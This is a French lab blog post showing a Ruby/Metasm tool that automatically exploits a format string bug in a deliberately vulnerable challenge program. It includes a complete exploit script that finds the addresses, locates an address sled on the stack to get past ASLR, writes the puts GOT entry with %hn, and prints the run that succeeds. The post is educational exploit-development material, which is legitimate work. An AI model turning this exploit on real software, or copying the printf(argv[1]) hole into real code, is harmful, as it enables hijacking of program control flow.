Exploitation de format string avec Metasm

Fri 09 July 2010 by thomas

Metasm est à la mode en ce moment dans le lab, après le post d'Ivan et celui de jj, c'est à mon tour de m'y coller.

Depuis que j'exploite des vulnérabilités de type Format String, j'ai toujours eu l'envie de me coder rapidement un outil en Python pour automatiser un peu les choses.Mais après les posts de mes deux collègues, je me suis dit qu'il était peut être temps de se jeter dans le bain Metasm.

Passons aux choses sérieuses : voici d'abord le programme vulnérable utilisé comme cible.

// gcc -o vuln vuln.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
#include <stdio.h>
#include <stdlib.h>

int secret() {
   fputs("\nYou got it man!\n", stdout);
   fputs("\nThe password for next level is: IL0V3RabbitWithToads!\n", stdout);
   exit(0);
}

int main(int argc, char **argv){
   printf(argv[1]);
   printf("\nBye bye!\n");

   return 0;
}

Je suis sous Ubuntu, et je ne touche pas à l'ASLR.

toma@leonidas:~/metaficelle$ cat /proc/sys/kernel/randomize_va_space
2
toma@leonidas:~/metaficelle$

Je vais passer rapidement sur les détails de l'exploitation vu que ce n'est pas ce qui nous intéresse ici. Donc pour faire simple, on se sert de la vulnérabilité pour aller changer une valeur dans la GOT afin de sauter vers la fonction qui nous affiche le mot de passe au lieu de réaliser un deuxième appel à printf().

Préparons Metasm !

toma@leonidas:~/metaficelle$ export RUBYLIB=~/metasm

Et passons à l'attaque !

Nous commençons par utiliser le désassembleur de Metasm afin de récupérer quelques adresses intéressantes :

  • celle du main : qui nous servira pour breaker
  • celle de la fonction secret : c'est cette adresse que nous devons écrire afin de détourner le flot d'exécution du programme
  • celle de puts dans la GOT : c'est ici que nous devrons écraser avec la format string
#! /usr/bin/env ruby

require 'metasm'
include Metasm

target = './vuln'

puts '[*] Format String Automatic Exploitation', '[*] http://metasm.cr0.org/', ''

bin = AutoExe.decode_file target
dasm = bin.init_disassembler
main = dasm.prog_binding["main"]
secr = dasm.prog_binding["secret"]
dest = dasm.prog_binding["_got_plt_puts"]

printf("[*] We will write 0x%x @ 0x%x\n", secr, dest)

Maintenant, il faut calculer l'offset entre la chaine de format et ses arguments virtuels (autrement dit, l'adresse où on va écrire).Cette adresse se trouve dans la pile. Deux problèmes se posent :

  • la pile bouge
  • l'adresse ne sera pas forcément bien alignée

Nous allons donc devoir chercher à la main l'adresse (bien alignée ou pas) dans la pile.Une fois celle-ci trouvée, nous allons calculer le padding nécessaire à ajouter afin qu'elle soit bien alignée.

Pour trouver l'offset nécessaire afin d'atteindre notre adresse dans la pile, nous utilisons le bout de codesuivant, qui va simplement parcourir la pile et tester si la valeur est bien l'adresse souhaitée. Attention,l'adresse n'est pas forcément alignée. Nous devons donc pour chaque adresse lue dans la pile la tester avec d'éventuelles rotationsde 1 à 3 octets.

Étant donné que la pile bouge, nous mettons sur la pile (en 2ème argument du programme cible) un grand nombrede fois nos deux adresses, afin qu'elles soient plus simples à retrouver (un peu comme le principe du nopsled).

# fonction effectuant un simple ROR
class Integer
        def ror count
                (self >> count) | (self << (8*0.size - count)) & 0xFFFFFFFF
        end
end

# fonction retournant vraie si l'adresse passee en parametre est une version mal alignee de l'adresse patern
def isTheRightAddress(address,patern)
        n = 0
        testAdr = address
        # on effectue des rotations vers la droite de 1 à 3 octets afin de voir si c'est la bonne adresse
        while n != 32
                if testAdr == patern
                        return true
                end
                n += 8
                testAdr = (address.ror n)
        end
        return false
end
# ----------------------------------------------------------------------------------------------------------


dbg = OS.current.create_debugger [target, "%c%", ([dest].pack("i")+[dest+2].pack("i"))*10000]
dbg.go(main)
esp = dbg.get_reg_value(:esp)
i=0
offset1 = 0
offset2 = 0
padding = ""
loop do
        val = dbg.memory_read_int(esp+4*i, 4)
        if isTheRightAddress(val,dest)
                printf("got it with an offset of %d!\n",i)
                val = dbg.memory_read_int(esp+4*i, 4)
                val2 = dbg.memory_read_int(esp+4*(i+1), 4)
                printf("Val @ esp+%d*4 = 0x%x\n",i,val)
                printf("Val @ esp+%d*4 = 0x%x\n",i+1,val2)
                offset1 = i
                offset2 = offset1 + 1
                offset1 += 5000
                offset2 += 5000
                # on calcule le padding
                padding = getPadding(val,dest)
                printf("Padding will be: %s\n",padding)
                break
        end
        i += 1
end

Nous noterez les deux lignes suivantes :

offset1 += 5000
offset2 += 5000

Elles ne sont pas anodines et permettent d'assurer le contournement de l'ASLR du système.En effet, l'offset trouvé par notre code pointera vers le 1er couple d'adresses sur la pile. Mais, lapile étant variable, à la prochaine exécution du programme il n'y a aucune chance pour que l'on retombeavec cet offset sur notre couple. Étant donné que nous avons un sled de 10000 couples, en ajoutant 5000à l'offset, on tapera au milieu du sled. Donc même si la pile bouge, on restera dans le sled, et ainsile couple d'adresses sera atteint.

La fonction suivante permet de trouver le padding nécessaire pour avoir une adresse bien alignée :

def getPadding(address,patern)
        patern = sprintf("%08x",patern)
        address = sprintf("%08x",address)
        n = patern.index(address[0,2])/2
        case n
                when 0
                        return ""
                when 1
                        return "A"
                when 2
                        return "AA"
                when 3
                        return "AAA"
                else
                        return false
        end
end

On peut maintenant forger notre chaine de format.Étant donné que nous avons 4 octets à écrire, nous allons faire deux écritures de 2 octets chacune.En effet, nous allons écrire les deux octets de poids faibles à l'adresse dest, etles deux octets de poids forts à l'adresses de dest+2.

pfaible = secr & 0x0000FFFF
pfort = secr >> 16
fs = ""
tapis = ([dest].pack("i")+[dest+2].pack("i"))*10000
if pfort > pfaible
        fs = "%"+pfaible.to_s(10)+"c%"+offset1.to_s(10)+"\\$hn%"+(pfort - pfaible).to_s(10)+"c%"+offset2.to_s(10)+"\\$hn"
else
        fs = "%"+pfort.to_s(10)+"c%"+offset2.to_s(10)+"\\$hn%"+(pfaible - pfort).to_s(10)+"c%"+offset1.to_s(10)+"\\$hn"
end
printf("Generated format string: %s\n",fs)

Pour finir, on lance le programme vulnérable avec en arguments la chaine de format et le sled d'adresses, le tout correctement paddé.

cmd = target + " " + fs + " " + tapis + padding
printf("Launching the vulnerable target with the generated format string...\n")
sleep(5)
system(cmd)

On peut maintenant tester le bon fonctionnement de notre outil :

toma@leonidas:~/metaficelle$ ruby metaficelle.rb
[*] Format String Automatic Exploitation
[*] http://metasm.cr0.org/

[*] We will write 0x80484a4 @ 0x804a010
got it with an offset of 1569!
Val @ esp+1569*4 = 0x100804a0
Val @ esp+1570*4 = 0x120804a0
Padding will be: AAA
Generated format string: %2052c%6570\$hn%31904c%6569\$hn
Launching the vulnerable target with the generated format string...
[...]
[...]
You got it man!

The password for next level is: IL0V3RabbitWithToads!
toma@leonidas:~/metaficelle$

Et voilà, encore une fois la puissance de Metasm est démontrée !La modification de l'outil afin de détourner autrement le flot d'exécution duprogramme vulnérable (en écrasant une autre adresse dans la GOT, ou un autrepointeur de fonction) est très simple et rapide à mettre en place : il suffit de modifierla variable dest.